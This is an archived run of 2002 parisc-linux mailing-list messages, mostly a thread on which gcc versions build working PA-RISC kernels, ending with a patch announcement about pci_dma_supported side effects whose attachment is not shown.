X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 14:10:01 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
References: <20021115175032.GD5673@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621935 17017 80.91.229.3 (22 Nov 2014 02:05:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:35 +0000 (UTC)
Cc: bzeeb-lists@lists.zabbadoz.net,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 12:10:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85C9482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 12:10:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAFJA2ot014898;
	Fri, 15 Nov 2002 14:10:03 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAFJA2Sv014896;
	Fri, 15 Nov 2002 14:10:02 -0500 (EST)
In-Reply-To: <20021115175032.GD5673@systemhalted> from "Carlos O'Donell" at Nov 15, 2002 12:50:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16823

> I noticed that your 'uname -a' says you compiled the kernel with gcc-3.2.
> AFAIK we have yet to build a kernel with gcc-3.2 that survives network 
> traffic. Perhaps try building the kernel with gcc 3.1 or 3.0? 

3.1.1 and 3.2 are identical except for a change in C++ abi, so as far
as kernel building goes they should be the same.  3.3 has a small struct
ABI fix (affects passing of 5-7 byte structs by value), improved long calls
and a workaround for a linker bug affecting PA 2.0 float loads.  If I
was picking, I would go with the current mainline 3.3 or the debian 3.0.

My impression from what Joel has said is that the problem is bad coding
rather than an actual gcc problem.  However, up to now, nobody has been
able to provide a precise analysis of what's going on.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 11:21:10 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20021115192110.GE21266@tausq.org>
References: <20021115175032.GD5673@systemhalted> <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621935 17018 80.91.229.3 (22 Nov 2014 02:05:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	bzeeb-lists@lists.zabbadoz.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 12:16:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF91F482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 12:16:56 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3DDDACDB18; Fri, 15 Nov 2002 11:21:10 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16824

In reference to a message from John David Anglin, dated Nov 15:
> > I noticed that your 'uname -a' says you compiled the kernel with gcc-3.2.
> > AFAIK we have yet to build a kernel with gcc-3.2 that survives network 
> > traffic. Perhaps try building the kernel with gcc 3.1 or 3.0? 
> 
> 3.1.1 and 3.2 are identical except for a change in C++ abi, so as far
> as kernel building goes they should be the same.  3.3 has a small struct
> ABI fix (affects passing of 5-7 byte structs by value), improved long calls
> and a workaround for a linker bug affecting PA 2.0 float loads.  If I
> was picking, I would go with the current mainline 3.3 or the debian 3.0.
> 
> My impression from what Joel has said is that the problem is bad coding
> rather than an actual gcc problem.  However, up to now, nobody has been
> able to provide a precise analysis of what's going on.

or even duplicate the problem.. i've been building 2.4 and 2.5 kernels
with 3.2 for some time.... haven't seen the problems that have been
reported.

randolph


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 15:50:28 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20021115205028.GI7587@systemhalted>
References: <20021115175032.GD5673@systemhalted> <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca> <20021115192110.GE21266@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621936 17021 80.91.229.3 (22 Nov 2014 02:05:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	bzeeb-lists@lists.zabbadoz.net, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 13:50:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F0FC482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 13:50:21 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18CnQ4-0002CW-00; Fri, 15 Nov 2002 15:50:28 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	bzeeb-lists@lists.zabbadoz.net, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021115192110.GE21266@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (85% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16825

> > My impression from what Joel has said is that the problem is bad coding
> > rather than an actual gcc problem.  However, up to now, nobody has been
> > able to provide a precise analysis of what's going on.
> 
> or even duplicate the problem.. i've been building 2.4 and 2.5 kernels
> with 3.2 for some time.... haven't seen the problems that have been
> reported.
> 

32 or 64-bit kernels? All debian tools? Mix of debian and upstream?

My only run-in with the problem was with 32-bit kernels cross compiled
from x86. Though lately I'm using a gcc-3.1 based XC and it builds functional
64-bit kernels.

This is definately becoming one of those HPPA urban legends. I shall add
it to my TODO list and verify that I can build a 32/64-bit kernel
natively and cross with all the latest upstream cvs bits.

c.



From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 22:17:23 +0000 (UTC)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211152207240.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621936 17280 80.91.229.3 (22 Nov 2014 02:05:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:36 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 15:18:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2F1C482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 15:18:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 5077B1FFED8; Fri, 15 Nov 2002 23:17:53 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 987441FFEC7; Fri, 15 Nov 2002 23:17:52 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id C85D522E18; Fri, 15 Nov 2002 22:17:23 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id B99D422E17; Fri, 15 Nov 2002 22:17:23 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <200211151910.gAFJA2Sv014896@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16826

On Fri, 15 Nov 2002, John David Anglin wrote:

> 3.1.1 and 3.2 are identical except for a change in C++ abi, so as far
> as kernel building goes they should be the same.  3.3 has a small struct

ok.

> ABI fix (affects passing of 5-7 byte structs by value), improved long calls
> and a workaround for a linker bug affecting PA 2.0 float loads.  If I

no PA 2.0 here.

> was picking, I would go with the current mainline 3.3 or the debian 3.0.

ok, how and where to get 3.3 from ?
	- subversions.gnu.org cvs ?
	- cvs.parisc-linux.org cvs ? (looks older)

I am going to dig into this.

What about binutils 2.13.90.0.10-2 ... do you know what changes where
there from previous versions ?

Ok, first thing I am going to do is build with gcc 3.0.4 and see if it
works.

all native building btw. here.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 17:45:32 -0500 (EST)
Lines: 45
Approved: news@gmane.org
Message-ID: <200211152245.gAFMjWN0015793@hiauly1.hia.nrc.ca>
References: <Pine.BSF.4.44.0211152207240.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621936 17281 80.91.229.3 (22 Nov 2014 02:05:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:36 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: bzeeb-lists@lists.zabbadoz.net (Bjoern A. Zeeb)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 15:45:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DC55482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 15:45:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAFMjWot015795;
	Fri, 15 Nov 2002 17:45:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAFMjWN0015793;
	Fri, 15 Nov 2002 17:45:32 -0500 (EST)
In-Reply-To: <Pine.BSF.4.44.0211152207240.39295-100000@e0-0.zab2.int.zabbadoz.net> from "Bjoern A. Zeeb" at Nov 15, 2002 10:17:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16827

> no PA 2.0 here.

If you use a PA 2.0 machine and don't care if your code is compatible
with older machines, then using PA 2.0 code provides a number of
advantages.  Probably, the most important is the change in the maximum
branch distance for pc-relative calls (22-bit vs. 17-bit relocation).
In large programs, it easy to exceed the maximum distance of the 17-bit
relocation.

> > was picking, I would go with the current mainline 3.3 or the debian 3.0.
> 
> ok, how and where to get 3.3 from ?
> 	- subversions.gnu.org cvs ?

This is a mirror of the main gcc source.  I use it except for submissions.

> 	- cvs.parisc-linux.org cvs ? (looks older)
> 
> I am going to dig into this.
> 
> What about binutils 2.13.90.0.10-2 ... do you know what changes where
> there from previous versions ?

I use the main binutils source.  Don't know anything about the debian
changes.  They should be fed back for review if the have any merit.
However, I think Alan Modra did that awhile ago when he was working
on the PA toolchain.

> Ok, first thing I am going to do is build with gcc 3.0.4 and see if it
> works.

Be aware that debian 3.0.4 suffers from a problem where calls that have
a branch distance exceeding the max for a 17-bit relocation are not
correctly changed to an indirect call in all cases.  This will cause a
problem building expr.c in stage1 if you don't include "-O2" in STAGE1_CFLAGS.
This is fixed in 3.1 and latter.  The 3.1/3.2 fix didn't include millicode
calls or PA 2.0 adjustments.  That's now in 3.3.

I'll be glad when debian 3.0.4 is gone.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 15:29:50 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20021115232949.GG21266@tausq.org>
References: <Pine.BSF.4.44.0211152207240.39295-100000@e0-0.zab2.int.zabbadoz.net> <200211152245.gAFMjWN0015793@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621936 17287 80.91.229.3 (22 Nov 2014 02:05:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:36 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 16:29:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFED8482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 16:29:03 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0F322CDB18; Fri, 15 Nov 2002 15:29:50 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200211152245.gAFMjWN0015793@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16828

> I'll be glad when debian 3.0.4 is gone.

Amen! :-) hopefully we are going to start gcc-3.2 transition fairly
soon.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] next issues ...
Date: Fri, 15 Nov 2002 19:37:35 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200211160037.gAG0bZRa015952@hiauly1.hia.nrc.ca>
References: <20021115232949.GG21266@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621937 17290 80.91.229.3 (22 Nov 2014 02:05:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:37 +0000 (UTC)
Cc: bzeeb-lists@lists.zabbadoz.net, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 15 17:37:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17F09482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Nov 2002 17:37:42 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAG0bZot015953;
	Fri, 15 Nov 2002 19:37:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAG0bZRa015952;
	Fri, 15 Nov 2002 19:37:35 -0500 (EST)
In-Reply-To: <20021115232949.GG21266@tausq.org> from "Randolph Chung" at Nov 15, 2002 03:29:50 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16829

> Amen! :-) hopefully we are going to start gcc-3.2 transition fairly
> soon.

Don't wait too long!  3.3 may have slipped a bit but the schedule
still shows Dec. 15 2002 as the release date.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam J. Richter" <adam@yggdrasil.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch: linux-2.5.47/drivers/parisc/ - pci_dma_supported had side effect
Date: Sat, 16 Nov 2002 05:49:41 -0800
Lines: 89
Approved: news@gmane.org
Message-ID: <20021116054941.A3448@baldur.yggdrasil.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="fUYQa+Pmc3FrFX/N"
X-Trace: ger.gmane.org 1416621937 17291 80.91.229.3 (22 Nov 2014 02:05:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 16 06:50:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from freya.yggdrasil.com (h-64-105-136-52.SNVACAID.covad.net [64.105.136.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01DA94837
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Nov 2002 06:50:40 -0700 (MST)
Original-Received: from baldur.yggdrasil.com (baldur.yggdrasil.com [209.249.10.12])
	by freya.yggdrasil.com (8.9.3/8.9.3) with ESMTP id FAA20398;
	Sat, 16 Nov 2002 05:50:33 -0800
Original-Received: (from adam@localhost)
	by baldur.yggdrasil.com (8.9.3/8.9.3) id FAA07917;
	Sat, 16 Nov 2002 05:49:41 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16830

--fUYQa+Pmc3FrFX/N
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

	pci_dma_supported is not supposed to have any side effects,
but the parisc versions set pci_dev->dma_mask, which is not the
intended behavior.  A driver could call check pci_dma_supported for a
variety of values in any particular order without expected the dma
mask to have actually been changed.  To change the DMA mask, drivers
call pci_set_dma_mask (in drivers/pci/pci.c), which, by the way, does
call machine-specific pci_dma_supported routine to ensure that the
desired mask is acceptable.

	The following patch fixes the problem.  It also has the
benefit of eliminating some direct writing to pci_dev->dma_mask,
which is what caused me to notice this problem.

	I do not have any parisc machines or normally build parisc
kernels.  So, I have not even verified that this change compiles.

	If somebody could give these deletions a whirl and then send
them by whatever the preferred process is to get them into the
mainline kernel, I would appreciate it.  If there is more that I
should do to facilitate this, please let me know.

-- 
Adam J. Richter     __     ______________   575 Oroville Road
adam@yggdrasil.com     \ /                  Milpitas, California 95035
+1 408 309-6081         | g g d r a s i l   United States of America
                         "Free Software For The Rest Of Us."

--fUYQa+Pmc3FrFX/N
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="parisc-supp.diff"

